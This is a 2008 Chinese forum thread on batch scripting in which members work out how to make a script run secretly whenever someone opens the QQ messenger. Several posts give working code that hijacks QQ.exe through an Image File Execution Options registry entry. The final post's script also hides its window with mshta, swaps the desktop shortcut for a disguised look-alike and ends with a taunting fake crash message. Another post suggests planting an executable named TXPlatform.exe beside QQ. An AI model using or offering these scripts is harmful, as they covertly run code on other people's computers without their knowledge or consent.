|
AlexZhang
系统支持
积分 952
发帖 410
注册 2007-2-8
状态 离线
|
|
2008-7-21 00:22 |
|
|
523066680
银牌会员
SuperCleaner
积分 2362
发帖 1133
注册 2008-2-2
状态 离线
|
『第
17 楼』:
偶像!!!!!每次看到版主字样 我就激动不已
|
|
2008-7-21 07:30 |
|
|
523066680
银牌会员
SuperCleaner
积分 2362
发帖 1133
注册 2008-2-2
状态 离线
|
『第
18 楼』:
我们换一种思考方法
其实好像被我们想复杂了,我们把批处理QQ.bat连接到 QQ.exe
以后直接开QQ.bat 不就可以了?
看以下例子 :
start C:\Program Files\Tencent\QQ\QQ.exe
call 123.bat
既方便 又快捷
|
综合型编程论坛
我的作品索引 |
|
2008-7-21 09:03 |
|
|
HAT
版主
积分 9023
发帖 5017
注册 2007-5-31
状态 离线
|
『第
19 楼』:
@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
|
|
|
2008-7-21 09:54 |
|
|
moniuming
银牌会员
永远的菜鸟
积分 1335
发帖 574
注册 2007-11-27 来自 广西
状态 离线
|
『第
20 楼』:
回19楼
在前两天我就试过这个方法了,不行的,因为启动test.bat后,会启动QQ,那么会再次启动test.bat,这样会陷入死循环,无法关闭,我已经被迫重启过了,(在虚拟机里测试的,哈哈...)
|
|
2008-7-21 11:02 |
|
|
ytjiushiwo
初级用户
积分 98
发帖 33
注册 2008-6-22
状态 离线
|
『第
21 楼』:
第18楼的..我的意思不是像你所理解的一样.
我的意思是:用户打开QQ.EXE.然后在后台运行123.bat.而用户并不了解所发生的一切...
还有..19楼的.
你前面的命令是把18楼的意思写到了text.txt中吧..
但是..这句是什么意思?
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
1.我的注册表中在Image File Execution Options 下找不到qq.exe.为什么额?
2.这个好象用到了影象劫持技术..听说过..大概了解些..但是不太懂..你帮我看看我的理解是否正确..也就是说,在加如这个东西之后.用户打开qq.exe并不运行了..反而执行的是test.bat ..是否正确?所谓的影象劫持技术.是不是就是说,比如,用户要打开一个文件..首先系统要先启用解释这个文件类型的基础文件..而影象劫持技术就是把这个基础文件重新定向于另外一个文件..那么当用户在打开这个文件的时候就会自动打开我所定向的另外一个文件,而不执行用户原来的文件了?
|
|
2008-7-21 13:18 |
|
|
moniuming
银牌会员
永远的菜鸟
积分 1335
发帖 574
注册 2007-11-27 来自 广西
状态 离线
|
『第
22 楼』:
回21楼
1.那句代码就是在Image File Execution Options下加上qq.exe.
2.正确.
|
|
2008-7-21 13:26 |
|
|
HAT
版主
积分 9023
发帖 5017
注册 2007-5-31
状态 离线
|
『第
23 楼』:
to 20楼
@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo tasklist^|findstr /i QQ.exe
>>"C:\test.bat" echo if %%errorlevel%% neq 0 (
>>"C:\test.bat" echo start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo )
>>"C:\test.bat" echo echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
|
|
|
2008-7-21 13:34 |
|
|
moniuming
银牌会员
永远的菜鸟
积分 1335
发帖 574
注册 2007-11-27 来自 广西
状态 离线
|
『第
24 楼』:
回23楼
如果已经打开QQ,这个代码可以正常执行,但是没开qq的话,还是会陷入死循环,
|
|
2008-7-21 15:03 |
|
|
523066680
银牌会员
SuperCleaner
积分 2362
发帖 1133
注册 2008-2-2
状态 离线
|
『第
25 楼』:
……看了一下21楼的 原来是做贼啊 难怪这么麻烦……可惜我不会vbs
我猜vbs应该做的到
|
综合型编程论坛
我的作品索引 |
|
2008-7-21 15:24 |
|
|
ytjiushiwo
初级用户
积分 98
发帖 33
注册 2008-6-22
状态 离线
|
『第
26 楼』:
我尝试了下..
用印象劫持技术可以..
但是用了之后..就无法打开QQ了..
另外还有什么好方法吗`?
|
|
2008-7-21 19:19 |
|
|
juventus
初级用户
积分 48
发帖 19
注册 2008-3-22
状态 离线
|
『第
27 楼』:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
我这 个都写不进去
这个 IFEO 怎么写不了
调用其实也可以
|
|
2008-7-22 10:35 |
|
|
XiuXiu
新手上路
积分 16
发帖 7
注册 2008-4-26
状态 离线
|
『第
28 楼』:
如果是新版的QQ的话就把那个123.BAT文件编译成EXE文件,并改名为TXPlatform.exe
放在QQ.EXE同一目录下.这样就可以在打开QQ的时候运行了
|
|
2008-7-22 14:07 |
|
|
523066680
银牌会员
SuperCleaner
积分 2362
发帖 1133
注册 2008-2-2
状态 离线
|
『第
29 楼』:
好家伙……我觉得成功的话 这个方法很好了
不过貌似楼主就是想要用bat解决这个问题
|
综合型编程论坛
我的作品索引 |
|
2008-7-23 11:45 |
|
|
moniuming
银牌会员
永远的菜鸟
积分 1335
发帖 574
注册 2007-11-27 来自 广西
状态 离线
|
『第
30 楼』:
其实用下面的方法可以实现(利用障眼法),但是打开QQ的时候会出现CMD窗口
@echo off
more +7<"%~0">"e:\program files\tencent\qq\moniuming.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\ QQ.exe" /v Debugger /t REG_SZ /d "\"e:\program
files\tencent\qq\moniuming.bat\"" /f
copy /y "e:\program files\tencent\qq\qq.exe" "e:\program files\tencent\qq\ QQ.exe"
del /f /q "%userprofile%\桌面\qq.exe.lnk"
copy /y "e:\program files\tencent\qq\ QQ.exe" "%userprofile%\桌面\ QQ.exe"
exit
@echo off
if not "%~1"=="h" mshta vbscript:createobject("wscript.shell").run("%~fs0 h "%*"",0)
(window.close)&exit
start "" "e:\program files\tencent\qq\QQ.exe"
ping -n 5 127.1>nul
msg %username% /time:10 " 你的电脑已经崩溃,找东西擦眼泪去吧,哈哈..."
|
|
2008-7-23 20:49 |
|